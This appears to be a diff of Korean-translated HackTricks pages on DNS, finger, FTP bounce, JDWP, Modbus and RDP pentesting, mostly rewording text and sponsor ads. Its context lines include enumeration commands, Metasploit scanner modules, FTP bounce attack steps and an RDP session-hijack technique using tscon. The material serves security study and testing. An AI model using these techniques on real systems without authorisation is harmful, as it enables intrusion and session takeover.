@ -145,7 +147,7 @@ nmap -sSU -p53 --script dns-nsec-enum --script-args dns-nsec-enum.domains=paypal
|
|||
```
|
||||
### IPv6
|
||||
|
||||
"AAAA" 요청을 사용하여 서브 도메인의 IPv6를 수집하는 무차별 대입 공격.
|
||||
서브도메인의 IPv6를 수집하기 위해 "AAAA" 요청을 사용한 무차별 대입 공격.
|
||||
```bash
|
||||
dnsdict6 -s -t <domain>
|
||||
```
|
||||
|
@ -170,19 +172,21 @@ dig google.com A @<IP>
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**취약점 평가 및 침투 테스트를 위한 즉시 사용 가능한 설정**. 20개 이상의 도구 및 기능을 사용하여 어디서나 전체 침투 테스트를 실행하세요. Recon부터 보고서 작성까지. 우리는 침투 테스터를 대체하지 않습니다 - 그들이 더 깊이 파고들고, 쉘을 터뜨리고, 재미를 느낄 수 있도록 맞춤형 도구, 탐지 및 악용 모듈을 개발합니다.
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드 보기
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한, 악용 가능한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 필수 증거를 수집하기 위해 자동화된 익스플로잇을 사용하여 귀하의 노력을 설득력 있는 보고서로 전환하는 20개 이상의 맞춤형 도구를 사용하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
### 존재하지 않는 계정으로 메일 전송
|
||||
### 존재하지 않는 계정으로 메일 보내기
|
||||
|
||||
대상 도메인 내의 잘못된 주소로 전송된 이메일로 인해 발생한 비배달 알림(NDN)을 조사함으로써, 종종 귀중한 내부 네트워크 세부정보가 공개됩니다.
|
||||
대상 도메인 내의 잘못된 주소로 전송된 이메일로 인해 발생한 배달 실패 알림(NDN)을 조사함으로써, 종종 귀중한 내부 네트워크 세부 정보가 공개됩니다.
|
||||
|
||||
제공된 비배달 보고서에는 다음과 같은 정보가 포함됩니다:
|
||||
제공된 배달 실패 보고서에는 다음과 같은 정보가 포함됩니다:
|
||||
|
||||
* 생성 서버가 `server.example.com`으로 확인되었습니다.
|
||||
* `user@example.com`에 대한 실패 알림이 오류 코드 `#550 5.1.1 RESOLVER.ADR.RecipNotFound; not found`와 함께 반환되었습니다.
|
||||
* 내부 IP 주소와 호스트 이름이 원본 메시지 헤더에 공개되었습니다.
|
||||
* 원본 메시지 헤더에 내부 IP 주소와 호스트 이름이 공개되었습니다.
|
||||
```markdown
|
||||
The original message headers were modified for anonymity and now present randomized data:
|
||||
|
||||
|
@ -285,7 +289,9 @@ Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; s
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**취약점 평가 및 침투 테스트를 위한 즉시 사용 가능한 설정**. 20개 이상의 도구와 기능을 사용하여 어디서나 전체 침투 테스트를 실행하세요. 우리는 침투 테스터를 대체하지 않습니다 - 그들이 더 깊이 파고들고, 쉘을 터뜨리고, 재미를 느낄 수 있도록 맞춤형 도구, 탐지 및 악용 모듈을 개발합니다.
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
|
|
@ -17,7 +17,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**취약점 평가 및 침투 테스트를 위한 즉시 사용 가능한 설정**. 20개 이상의 도구 및 기능을 사용하여 어디서나 전체 침투 테스트를 실행하세요. 우리는 침투 테스터를 대체하지 않습니다 - 우리는 그들이 더 깊이 파고들고, 쉘을 터뜨리고, 재미를 가질 수 있도록 맞춤형 도구, 탐지 및 악용 모듈을 개발합니다.
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하는 20개 이상의 맞춤형 도구를 사용하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -49,9 +51,9 @@ finger-user-enum.pl -U users.txt -t 10.0.0.1
|
|||
finger-user-enum.pl -u root -t 10.0.0.1
|
||||
finger-user-enum.pl -U users.txt -T ips.txt
|
||||
```
|
||||
#### **Nmap 기본 스크립트를 사용하여 스크립트를 실행합니다**
|
||||
#### **Nmap은 기본 스크립트를 사용하여 스크립트를 실행합니다.**
|
||||
|
||||
### Metasploit은 Nmap보다 더 많은 트릭을 사용합니다
|
||||
### Metasploit은 Nmap보다 더 많은 트릭을 사용합니다.
|
||||
```
|
||||
use auxiliary/scanner/finger/finger_users
|
||||
```
|
||||
|
@ -73,7 +75,9 @@ finger @internal@external
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**취약점 평가 및 침투 테스트를 위한 즉시 사용 가능한 설정**. 20개 이상의 도구와 기능을 사용하여 어디서나 전체 침투 테스트를 실행하세요. 우리는 침투 테스터를 대체하지 않습니다 - 우리는 그들이 더 깊이 파고들고, 쉘을 터뜨리고, 재미를 느낄 수 있도록 맞춤형 도구, 탐지 및 악용 모듈을 개발합니다.
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -87,7 +91,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,14 +15,16 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**즉시 사용 가능한 취약점 평가 및 침투 테스트 설정**. 20개 이상의 도구 및 기능을 사용하여 어디서나 전체 침투 테스트를 실행하세요. 우리는 침투 테스터를 대체하지 않습니다 - 우리는 그들이 더 깊이 파고들고, 쉘을 터뜨리고, 재미를 느낄 수 있도록 맞춤형 도구, 탐지 및 악용 모듈을 개발합니다.
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
||||
# 요약
|
||||
|
||||
바운스 FTP 서버에 접근할 수 있다면, 다른 FTP 서버의 파일을 요청하고 해당 파일을 자신의 서버로 다운로드할 수 있습니다 \(자격 증명을 알고 있는 경우\).
|
||||
바운스 FTP 서버에 접근할 수 있다면, 다른 FTP 서버의 파일을 요청하고 \(자격 증명을 알고 있는 경우\) 해당 파일을 자신의 서버로 다운로드할 수 있습니다.
|
||||
|
||||
## 요구 사항
|
||||
|
||||
|
@ -30,23 +32,25 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
- 피해자 FTP 서버에서 유효한 FTP 자격 증명
|
||||
- 두 서버 모두 PORT 명령을 수락해야 함 \(바운스 FTP 공격\)
|
||||
- FRP 중간 서버의 일부 디렉토리에 쓸 수 있어야 함
|
||||
- 중간 서버가 어떤 이유로 피해자 FTP 서버 내부에 더 많은 접근 권한을 가져야 함 \(이것이 당신이 악용할 점입니다\)
|
||||
- 중간 서버가 어떤 이유로 피해자 FTP 서버 내부에 더 많은 접근 권한을 가짐 \(이것이 당신이 이용할 점입니다\)
|
||||
|
||||
## 단계
|
||||
|
||||
1. 자신의 FTP 서버에 연결하고 연결을 수동으로 설정합니다 \(pasv 명령\) 피해자 서비스가 파일을 보낼 디렉토리에서 수신 대기하도록 합니다.
|
||||
2. FTP 중간 서버가 피해자 서버로 보낼 파일을 만듭니다 \(악용\). 이 파일은 피해자 서버에 대한 인증, 디렉토리 변경 및 파일을 자신의 서버로 다운로드하는 데 필요한 명령의 일반 텍스트입니다.
|
||||
2. FTP 중간 서버가 피해자 서버에 보낼 파일을 만듭니다 \(익스플로잇\). 이 파일은 피해자 서버에 대한 인증, 디렉토리 변경 및 파일을 자신의 서버로 다운로드하는 데 필요한 명령의 일반 텍스트입니다.
|
||||
3. FTP 중간 서버에 연결하고 이전 파일을 업로드합니다.
|
||||
4. FTP 중간 서버가 피해자 서버와 연결을 설정하고 악용 파일을 보냅니다.
|
||||
4. FTP 중간 서버가 피해자 서버와 연결을 설정하고 익스플로잇 파일을 전송하도록 합니다.
|
||||
5. 자신의 FTP 서버에서 파일을 캡처합니다.
|
||||
6. FTP 중간 서버에서 악용 파일을 삭제합니다.
|
||||
6. FTP 중간 서버에서 익스플로잇 파일을 삭제합니다.
|
||||
|
||||
자세한 정보는 다음 게시물을 확인하세요: [http://www.ouah.org/ftpbounce.html](http://www.ouah.org/ftpbounce.html)
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**즉시 사용 가능한 취약점 평가 및 침투 테스트 설정**. 20개 이상의 도구 및 기능을 사용하여 어디서나 전체 침투 테스트를 실행하세요. 우리는 침투 테스터를 대체하지 않습니다 - 우리는 그들이 더 깊이 파고들고, 쉘을 터뜨리고, 재미를 느낄 수 있도록 맞춤형 도구, 탐지 및 악용 모듈을 개발합니다.
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
|
|
@ -17,13 +17,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**취약점 평가 및 침투 테스트를 위한 즉시 사용 가능한 설정**. 20개 이상의 도구 및 기능을 사용하여 어디서나 전체 침투 테스트를 실행하세요. 우리는 침투 테스터를 대체하지 않습니다 - 우리는 그들이 더 깊이 파고들고, 쉘을 터뜨리고, 재미를 느낄 수 있도록 맞춤형 도구, 탐지 및 악용 모듈을 개발합니다.
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 필수 증거를 수집하기 위해 자동화된 익스플로잇을 사용하여 귀하의 노력을 설득력 있는 보고서로 전환하는 20개 이상의 맞춤형 도구를 사용하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## Exploiting
|
||||
|
||||
JDWP 악용은 **프로토콜의 인증 및 암호화 부족**에 달려 있습니다. 일반적으로 **포트 8000**에서 발견되지만 다른 포트도 가능합니다. 초기 연결은 대상 포트에 "JDWP-Handshake"를 전송하여 이루어집니다. JDWP 서비스가 활성화되어 있으면 동일한 문자열로 응답하여 존재를 확인합니다. 이 핸드셰이크는 네트워크에서 JDWP 서비스를 식별하는 지문 인식 방법으로 작용합니다.
|
||||
JDWP 익스플로잇은 **프로토콜의 인증 및 암호화 부족**에 의존합니다. 일반적으로 **포트 8000**에서 발견되지만 다른 포트도 가능합니다. 초기 연결은 대상 포트에 "JDWP-Handshake"를 전송하여 이루어집니다. JDWP 서비스가 활성화되어 있으면 동일한 문자열로 응답하여 존재를 확인합니다. 이 핸드셰이크는 네트워크에서 JDWP 서비스를 식별하는 지문 인식 방법으로 작용합니다.
|
||||
|
||||
프로세스 식별 측면에서 Java 프로세스에서 "jdwk" 문자열을 검색하면 활성 JDWP 세션을 나타낼 수 있습니다.
|
||||
|
||||
|
@ -37,7 +39,7 @@ I found that the use of `--break-on 'java.lang.String.indexOf'` make the exploit
|
|||
|
||||
## More details
|
||||
|
||||
**This is a summary of [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)**. Check it for further details.
|
||||
**이것은 [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)의 요약입니다.** 추가 세부정보는 해당 링크를 확인하세요.
|
||||
|
||||
|
||||
1. **JDWP 개요**:
|
||||
|
@ -52,15 +54,15 @@ I found that the use of `--break-on 'java.lang.String.indexOf'` make the exploit
|
|||
- CommandSet 값은 0x40에서 0x80까지 다양하며, 서로 다른 동작 및 이벤트를 나타냅니다.
|
||||
|
||||
4. **악용**:
|
||||
- JDWP는 임의의 클래스와 바이트코드를 로드하고 호출할 수 있어 보안 위험을 초래합니다.
|
||||
- JDWP는 임의의 클래스 및 바이트코드를 로드하고 호출할 수 있어 보안 위험을 초래합니다.
|
||||
- 이 기사는 Java Runtime 참조를 가져오고, 중단점을 설정하고, 메서드를 호출하는 다섯 단계의 악용 프로세스를 자세히 설명합니다.
|
||||
|
||||
5. **실제 악용**:
|
||||
- 잠재적인 방화벽 보호에도 불구하고 JDWP 서비스는 발견 가능하며 실제 시나리오에서 악용될 수 있습니다. 이는 ShodanHQ 및 GitHub와 같은 플랫폼에서의 검색을 통해 입증됩니다.
|
||||
- 잠재적인 방화벽 보호에도 불구하고 JDWP 서비스는 실제 시나리오에서 발견 가능하고 악용될 수 있으며, 이는 ShodanHQ 및 GitHub와 같은 플랫폼에서의 검색을 통해 입증됩니다.
|
||||
- 이 악용 스크립트는 다양한 JDK 버전에서 테스트되었으며 플랫폼에 독립적이며 신뢰할 수 있는 원격 코드 실행(RCE)을 제공합니다.
|
||||
|
||||
6. **보안 의미**:
|
||||
- 인터넷에 열린 JDWP 서비스의 존재는 정기적인 보안 검토, 프로덕션에서 디버그 기능 비활성화 및 적절한 방화벽 구성의 필요성을 강조합니다.
|
||||
- 인터넷에 열린 JDWP 서비스의 존재는 정기적인 보안 검토, 프로덕션에서 디버그 기능 비활성화, 적절한 방화벽 구성의 필요성을 강조합니다.
|
||||
|
||||
|
||||
### **References:**
|
||||
|
@ -80,21 +82,23 @@ I found that the use of `--break-on 'java.lang.String.indexOf'` make the exploit
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**즉시 사용 가능한 취약점 평가 및 침투 테스트 설정**. 20개 이상의 도구 및 기능을 사용하여 어디서나 전체 침투 테스트를 실행하세요. 우리는 침투 테스터를 대체하지 않으며, 그들이 더 깊이 파고들고, 쉘을 터뜨리고, 재미를 느낄 수 있도록 맞춤형 도구, 탐지 및 악용 모듈을 개발합니다.
|
||||
#### Get a hacker's perspective on your web apps, network, and cloud
|
||||
|
||||
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **해킹 트릭을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하세요.**
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,7 +15,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**취약점 평가 및 침투 테스트를 위한 즉시 사용 가능한 설정**. 20개 이상의 도구 및 기능을 사용하여 어디서나 전체 침투 테스트를 실행하세요. 우리는 침투 테스터를 대체하지 않습니다 - 우리는 그들이 더 깊이 파고들고, 쉘을 터뜨리고, 재미를 느낄 수 있도록 맞춤형 도구, 탐지 및 악용 모듈을 개발합니다.
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -36,14 +38,16 @@ msf> use auxiliary/scanner/scada/modbusdetect
|
|||
msf> use auxiliary/scanner/scada/modbus_findunitid
|
||||
```
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**취약점 평가 및 침투 테스트를 위한 즉시 사용 가능한 설정**. 20개 이상의 도구 및 기능을 사용하여 어디서나 전체 침투 테스트를 실행하세요. 우리는 침투 테스터를 대체하지 않습니다 - 우리는 그들이 더 깊이 파고들고, 쉘을 터뜨리고, 재미를 느낄 수 있도록 맞춤형 도구, 탐지 및 악용 모듈을 개발합니다.
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하는 20개 이상의 맞춤형 도구를 사용하세요. 여러분의 노력을 설득력 있는 보고서로 바꾸세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -51,7 +55,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,13 +17,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**취약점 평가 및 침투 테스트를 위한 즉시 사용 가능한 설정**. 20개 이상의 도구 및 기능을 사용하여 어디서나 전체 침투 테스트를 실행할 수 있으며, 이는 탐색에서 보고에 이르기까지 가능합니다. 우리는 침투 테스터를 대체하지 않으며, 그들이 더 깊이 파고들고, 쉘을 터뜨리고, 재미를 느낄 수 있도록 맞춤형 도구, 탐지 및 악용 모듈을 개발합니다.
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## 기본 정보
|
||||
|
||||
Microsoft에서 개발한 **원격 데스크톱 프로토콜**(**RDP**)은 네트워크를 통해 컴퓨터 간의 그래픽 인터페이스 연결을 가능하게 하도록 설계되었습니다. 이러한 연결을 설정하기 위해 사용자는 **RDP** 클라이언트 소프트웨어를 사용하고, 동시에 원격 컴퓨터는 **RDP** 서버 소프트웨어를 운영해야 합니다. 이 설정은 원격 컴퓨터의 데스크톱 환경을 원활하게 제어하고 접근할 수 있게 하여, 본질적으로 그 인터페이스를 사용자의 로컬 장치로 가져옵니다.
|
||||
Microsoft에서 개발한 **원격 데스크톱 프로토콜** (**RDP**)은 네트워크를 통해 컴퓨터 간의 그래픽 인터페이스 연결을 가능하게 하도록 설계되었습니다. 이러한 연결을 설정하기 위해 사용자는 **RDP** 클라이언트 소프트웨어를 사용하고, 동시에 원격 컴퓨터는 **RDP** 서버 소프트웨어를 운영해야 합니다. 이 설정은 원거리 컴퓨터의 데스크톱 환경을 원활하게 제어하고 접근할 수 있게 하여, 본질적으로 그 인터페이스를 사용자의 로컬 장치로 가져옵니다.
|
||||
|
||||
**기본 포트:** 3389
|
||||
```
|
||||
|
@ -70,7 +72,9 @@ rdp_check <domain>/<name>:<password>@<IP>
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**취약점 평가 및 침투 테스트를 위한 즉시 사용 가능한 설정**. 20개 이상의 도구 및 기능을 사용하여 어디서나 전체 침투 테스트를 실행하세요. 우리는 침투 테스터를 대체하지 않습니다 - 그들이 더 깊이 파고들고, 쉘을 터뜨리고, 재미를 느낄 수 있도록 맞춤형 도구, 탐지 및 악용 모듈을 개발합니다.
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
|
||||
**실질적인 비즈니스 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -78,7 +82,7 @@ rdp_check <domain>/<name>:<password>@<IP>
|
|||
|
||||
### 세션 탈취
|
||||
|
||||
**SYSTEM 권한**으로 **어떤 사용자에 의해서든 열린 RDP 세션에** 접근할 수 있으며, 소유자의 비밀번호를 알 필요가 없습니다.
|
||||
**SYSTEM 권한**으로 **어떤 사용자에 의해서도 열린 RDP 세션에** 접근할 수 있으며, 소유자의 비밀번호를 알 필요가 없습니다.
|
||||
|
||||
**열린 세션 가져오기:**
|
||||
```
|
||||
|
@ -92,7 +96,7 @@ tscon <ID> /dest:<SESSIONNAME>
|
|||
|
||||
**중요**: 활성 RDP 세션에 접근하면 해당 세션을 사용 중인 사용자가 강제로 로그아웃됩니다.
|
||||
|
||||
프로세스를 덤프하여 비밀번호를 얻을 수 있지만, 이 방법은 훨씬 빠르며 사용자의 가상 데스크탑과 상호작용할 수 있게 해줍니다 (비밀번호가 디스크에 저장되지 않은 메모장, 다른 머신에서 열린 다른 RDP 세션 등...).
|
||||
프로세스를 덤프하여 비밀번호를 얻을 수 있지만, 이 방법은 훨씬 빠르며 사용자의 가상 데스크탑과 상호작용할 수 있게 해줍니다 (저장되지 않은 메모장에 있는 비밀번호, 다른 머신에서 열린 다른 RDP 세션 등...).
|
||||
